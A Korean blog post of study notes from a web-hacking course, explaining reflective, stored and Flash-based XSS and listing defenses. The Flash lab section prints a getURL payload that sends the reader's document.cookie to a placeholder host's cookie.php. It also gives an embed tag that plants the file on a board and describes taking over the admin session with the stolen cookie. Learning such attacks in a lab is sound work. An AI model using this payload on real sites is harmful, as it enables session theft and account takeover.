8. XSS (Cross Site Scripting)
4) XSS 종류
▣ Reflective XSS
- 서버에 저장되지 않음.
- 공격자가 의도한 스크립트가 포함된 URL을 희생자에게 노출시킴.
- 내가 던져준 것이 다시 나에게 돌아오기만 하는 공간이면 됨 (ex. 검색창)
- 피싱 사이트에 많이 쓰임.
- 단점 : 웹 서버의 주소(DNS)가 신뢰도가 높은 사이트여야함. (짧은 주소로 바꿔도 되긴하나 요즘은 잘 사용하지 않음)
☞ 검색창에 script언어를 치면 url에 해당 스크립트가 담겨있는 주소가 뜸.
☞ http://192.168.129.129/board/board_search.asp?keyword=%3Cscript%3Ealert%28%22test%22%29%3C%2Fscript%3E
☞ 해당 url을 다른 pc에서 주소창에 입력하면 동일한 결과값이 뜸.
▣ Stored XSS
- 지난 시간에 실습했던 예시. http://hyeonnii.tistory.com/98
- 게시물과 같은 DB에 저장되는 형태.
- 서버 어딘가에 저장해두고 누군가가 읽기만하면 됨. (ex. 게시판, 프로필 내용)
▣ XSS - Flash Action Script
- Flash 자체는 매우 취약함. 자바스크립트 언어를 쓰기 때문에 스크립트 언어를 끼워넣을 수 있음!
- 장점 : 당하는 사람은 알아차리기가 어려움.
- 단점 : 플래시를 요즘은 잘 사용하지 않음.
- 예시
1. Flash가 포함된 웹 애플리케이션에 접속.
2. Flash 내부 Actionscript 함수 GetURL()이 동작.
3. 네이버 웹 사이트 열림.
- 실습
1. 읽는 사람의 쿠키정보를 얻어오는 스크립트를 넣은 플래시 파일을 하나 생성.
☞ getURL("javascript:document.location='http://[host]/cookie.php?data='+document.cookie");
2. 파일을 저장하면 목적파일과 비슷한 .fla 파일이 생성됨.
3. 플래시 파일을 생성하기 위해 [컨트롤 - 무비 테스트]를 눌러 .swf 파일을 생성.
4. 생성된 test.swf 파일을 웹 루트에 넣음.
5. 게시판에 해당 swf를 실행시키는 글을 작성.
☞ <embed src="http://[host]/test.swf" AllowScriptAccess="always"></embed>
6. admin 계정이 다른 pc에서 읽음
☞ 팝업창이 아닌 전체창을 가리는 것을 확인할 수 있음.. --> 추후에 수정법을 배움.
7. hack의 서버에서 쿠키값을 확인후 해당 쿠키로 바꾸어 admin 계정을 얻음.
====> 이 역시도 admin계정이 hack 계정으로 바뀌는 문제가 발생.
5) XSS 대응방안
▣ 웹 서버
- HTML 지원하지 않음. (사용자가 태그값 못쓰게)
- HTML을 화이트리스트 방식 허용. (블랙리스트보다 화이트리스트가 더 안전)
▣ 개인
- 팝업 차단 설정의 생활화(애초에 공격이 성립되지 않게 함)
i2sec 대구지점 23기 수료생.
'해킹&보안 > 웹 해킹&보안' 카테고리의 다른 글
[D+11] FileUpload & FileDownlaod (0) | 2017.05.21 |
---|---|
[D+10] CSRF (Cross Site Request Forgery) (0) | 2017.05.21 |
[D+8] XSS (Cross Site Scripting) (0) | 2017.05.15 |
[D+8] OWASP TOP 10 (0) | 2017.05.15 |
[D+7] 정보수집 (0) | 2017.05.12 |